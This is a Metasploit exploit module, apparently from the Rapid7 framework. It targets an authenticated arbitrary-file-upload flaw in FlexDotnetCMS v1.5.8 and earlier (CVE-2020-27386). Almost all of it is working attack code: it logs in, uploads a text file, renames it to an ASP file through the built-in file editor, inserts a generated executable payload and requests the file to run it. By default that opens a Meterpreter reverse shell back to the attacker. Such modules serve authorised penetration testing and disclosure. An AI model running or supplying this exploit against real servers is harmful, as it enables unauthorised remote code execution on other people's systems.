##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FlexDotnetCMS Arbitrary ASP File Upload',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability in
          FlexDotnetCMS v1.5.8 and prior in order to execute arbitrary
          commands with elevated privileges.

          The module first tries to authenticate to FlexDotnetCMS via an HTTP
          POST request to `/login`. It then attempts to upload a random TXT
          file and subsequently uses the FlexDotnetCMS file editor to rename
          the TXT file to an ASP file. If this succeeds, the target is
          vulnerable and the ASP file is generated as a copy of the TXT file,
          which remains on the server.

          Next, the module sends another request to rename the TXT file to an
          ASP file, this time adding the payload. Finally, the module tries
          to execute the ASP payload via a simple HTTP GET request to
          `/media/uploads/asp_payload`

          Valid credentials for a FlexDotnetCMS user with permissions to use
          the FileManager are required. This module has been successfully
          tested against FlexDotnetCMS v1.5.8 running on Windows Server 2012.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Erik Wynter' # @wyntererik - Discovery & Metasploit
          ],
        'References' =>
          [
            ['CVE', '2020-27386'],
          ],
        'Platform' => 'win',
        'Targets' =>
          [
            [
              'Windows (x86)', {
                'Arch' => [ARCH_X86],
                'DefaultOptions' => {
                  'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Windows (x64)', {
                'Arch' => [ARCH_X64],
                'DefaultOptions' => {
                  'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
                }
              }
            ]
          ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2020-09-28'
      )
    )

    register_options [
      OptString.new('TARGETURI', [true, 'The base path to FlexDotnetCMS', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
    ]
  end

  def rename_file(res, payload)
    # obtain tokens required for renaming the payload
    html = res.get_html_document
    viewstate_key = html.at('input[@id="__VIEWSTATEKEY"]')
    event_validation = html.at('input[@id="__EVENTVALIDATION"]')
    if viewstate_key.blank? || event_validation.blank? # check if tokens exist before calling their values
      return 'no_tokens'
    end

    viewstate_key = viewstate_key['value']
    event_validation = event_validation['value']

    # rename TXT payload to ASP using the file editor, this creates a copy of the TXT file, so both have to be deleted (this happens in cleanup)
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'Views', 'PageHandlers', 'FileEditor', 'Default.aspx'),
      'vars_get' => { 'LoadFile' => "/media/uploads/#{@payload_txt}" },
      'vars_post' => {
        '__EVENTTARGET' => 'ctl00$ContentPlaceHolder1$Save',
        '__VIEWSTATEKEY' => viewstate_key,
        '__EVENTVALIDATION' => event_validation,
        'ctl00$ContentPlaceHolder1$FileSelector$SelectedFile' => "/media/uploads/#{@payload_asp}",
        'ctl00$ContentPlaceHolder1$Editor' => payload
      }
    })
  end

  def check
    # used to ensure cleanup only runs against flexdotnetcms targets
    @skip_cleanup = true

    # visit login the page to get the necessary cookies
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'login/'),
      'keep_cookies' => true
    })

    unless res
      return CheckCode::Unknown('Connection failed')
    end

    # the login page doesn't contain the name of the app or the author, so we're combining a bunch of checks to limit the odds of failing to flag an incorrect target
    unless res.code == 200 && res.body.include?('<title>Login - Home</title>') && res.body.include?('<label>Email</label><br>') && res.body.include?('>Forgot my password</a>')
      return CheckCode::Safe('Target is not a FlexDotnetCMS application.')
    end

    # get cookies and tokens necessary for authentication
    html = res.get_html_document
    viewstate_key = html.at('input[@id="__VIEWSTATEKEY"]')
    event_validation = html.at('input[@id="__EVENTVALIDATION"]')
    if viewstate_key.blank? || event_validation.blank? # check if tokens exist before calling their values
      return CheckCode::Detected('Received unexpected response while trying to obtain tokens necessary for authentication from /login')
    end

    viewstate_key = viewstate_key['value']
    event_validation = event_validation['value']

    # perform login to verify if the target is a FlexDotnetCMS application
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login/'),
      'keep_cookies' => true,
      'vars_post' => {
        # ideally the % in the line below would not be encoded, but I don't know how to achieve that without reverting to send_request_raw, which is ugly, and this works
        'LoginControl$ctl00' => 'LoginControl$ctl01%7CLoginControl$LoginButton',
        '__EVENTTARGET' => 'LoginControl$LoginButton',
        '__VIEWSTATEKEY' => viewstate_key,
        'LoginControl$Username' => datastore['USERNAME'],
        'LoginControl$Password' => datastore['PASSWORD'],
        '__EVENTVALIDATION' => event_validation,
        '__ASYNCPOST' => 'true'
      }
    })

    unless res
      return CheckCode::Detected('Connection failed')
    end

    unless res.code == 200 && res.body.include?('pageRedirect||%2fadmin')
      return CheckCode::Detected('Failed to authenticate to the server.')
    end

    # visit the backend dashboard
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'Admin/')

    unless res
      return CheckCode::Detected('Connection failed')
    end

    unless res.code == 200 && res.body.include?('Welcome to your site editor:')
      return CheckCode::Detected('Received unexpected response while trying to follow redirect to /Admin/')
    end

    print_good('Successfully authenticated to FlexDotnetCMS')

    # prepare to upload a TXT file and rename it to an ASP file. If this works, the target is vulnerable.
    # generate file names and post data
    @payload_txt = "#{rand_text_alphanumeric(6..10)}.txt"
    @payload_asp = @payload_txt.split('.txt')[0] << '.asp'
    post_data = Rex::MIME::Message.new
    post_data.add_part('\\media\\uploads\\', nil, nil, 'form-data; name="folder"')
    post_data.add_part(rand_text_alpha(10..20), 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{@payload_txt}\"")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'Scripts', 'tinyfilemanager.net', 'dialog.aspx'),
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'headers' => {
        'Accept' => 'application/json',
        'X-Requested-With' => 'XMLHttpRequest',
        'X-File-Name' => @payload_txt
      },
      'vars_get' => {
        'cmd' => 'upload'
      },
      'data' => post_data.to_s
    })

    @skip_cleanup = false # cleanup only has to run if at least one attempt to upload a file has been made

    vprint_status("Uploading test file #{@payload_txt}...")

    unless res
      return CheckCode::Detected("Connection failed while trying to upload test file #{@payload_txt}")
    end

    unless res.code == 200
      return CheckCode::Detected("Received unexpected response while trying to upload test file #{@payload_txt}")
    end

    # load the test file in the file editor in order to obtain tokens required for renaming it
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'Views', 'PageHandlers', 'FileEditor', 'Default.aspx'),
      'vars_get' => { 'LoadFile' => "/media/uploads/#{@payload_txt}" }
    })

    unless res
      return CheckCode::Detected("Connection failed while trying to open test file #{@payload_txt} in the file editor")
    end

    unless res.code == 200 && res.body.include?('Successfully loaded file')
      return CheckCode::Detected("Received unexpected response while trying to open test file #{@payload_txt} in the file editor")
    end

    # FlexDotNetCMS displays the full installation path on the server in response to the previous GET request, so we can print it
    flexdotnetcms_path = res.body.scan(/jQuery\.jGrowl\(\"Successfully loaded file \( (.*?)WebApplication/).flatten.first
    unless flexdotnetcms_path.blank?
      print_status("FlexDotnetCMS is installed on the target at #{flexdotnetcms_path}")
    end

    print_status("Uploaded test file #{@payload_txt}. Attempting to rename the file to #{@payload_asp}...")
    res = rename_file(res, rand_text_alpha(10..20))
    if res == 'no_tokens'
      return CheckCode::Detected("Received unexpected response while trying to obtain tokens necessary for renaming #{@payload_txt}")
    end

    unless res
      return CheckCode::Detected("Connection failed while trying to rename the test file #{@payload_txt}.")
    end

    unless res.code == 200 && res.body.include?('jQuery.jGrowl("Successfully saved') && res.body.include?("/media/uploads/#{@payload_asp}")
      vprint_status("Failed to use the file editor to rename test file #{@payload_txt} to #{@payload_asp}")
      return CheckCode::Safe('Target is FlexDotnetCMS v1.5.9 or higher')
    end

    print_good("Successfully renamed test file #{@payload_txt} to #{@payload_asp} (this is a copy of #{@payload_txt}, which remains on the server)")

    return CheckCode::Vulnerable('Target is FlexDotnetCMS v1.5.8 or lower.')
  end

  def rename_test_file_and_add_payload
    print_status("Renaming #{@payload_txt} to #{@payload_asp} again, this time adding the payload")

    # load the file in the file editor in order to obtain tokens required for renaming it
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'Views', 'PageHandlers', 'FileEditor', 'Default.aspx'),
      'vars_get' => { 'LoadFile' => "/media/uploads/#{@payload_txt}" }
    })

    unless res
      fail_with(Failure::Disconnected, "Connection failed while trying to open #{@payload_txt} in the file editor")
    end

    unless res.code == 200 && res.body.include?('Successfully loaded file')
      fail_with(Failure::UnexpectedReply, "Received unexpected response while trying to open #{@payload_txt} in the file editor")
    end

    # genenerate ASP payload, then rename the TXT file again while adding the payload
    exe = generate_payload_exe
    payload = Msf::Util::EXE.to_exe_asp(exe).to_s
    res = rename_file(res, payload)
    if res == 'no_tokens'
      fail_with(Failure::UnexpectedReply, "Received unexpected response while trying to obtain tokens necessary for renaming #{@payload_txt}")
    end

    unless res
      fail_with(Failure::Disconnected, 'Connection failed while trying to add the ASP payload.')
    end

    unless res.code == 200 && res.body.include?('jQuery.jGrowl("Successfully saved') && res.body.include?("/media/uploads/#{@payload_asp}")
      fail_with(Failure::Unknown, 'Failed to add the ASP payload.')
    end

    print_good("Successfully added the ASP payload to #{@payload_asp}")
  end

  def cleanup
    # only run when at least one attempt to upload a file has been made
    return if @skip_cleanup

    # delete uploaded TXT and ASP files
    [@payload_txt, @payload_asp].each do |file|
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'Scripts', 'tinyfilemanager.net', 'dialog.aspx'),
        'vars_get' => {
          'cmd' => 'delfile',
          'file' => "\\media\\uploads\\#{file}",
          'currpath' => '\\media\\uploads\\'
        }
      })

      unless res && res.code == 200 && res.body.exclude?(file)
        print_error("Failed to delete #{file}.")
        print_warning("Manual cleanup of #{file} is required.")
        return
      end

      print_good("Successfully deleted #{file}")
    end
  end

  def exploit
    rename_test_file_and_add_payload
    print_status('Executing the payload...')
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'media', 'uploads', @payload_asp.to_s)

    unless res
      fail_with(Failure::Disconnected, 'Connection failed while trying to execute the payload.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, 'Received unexpected response while trying to execute the payload')
    end
  end
end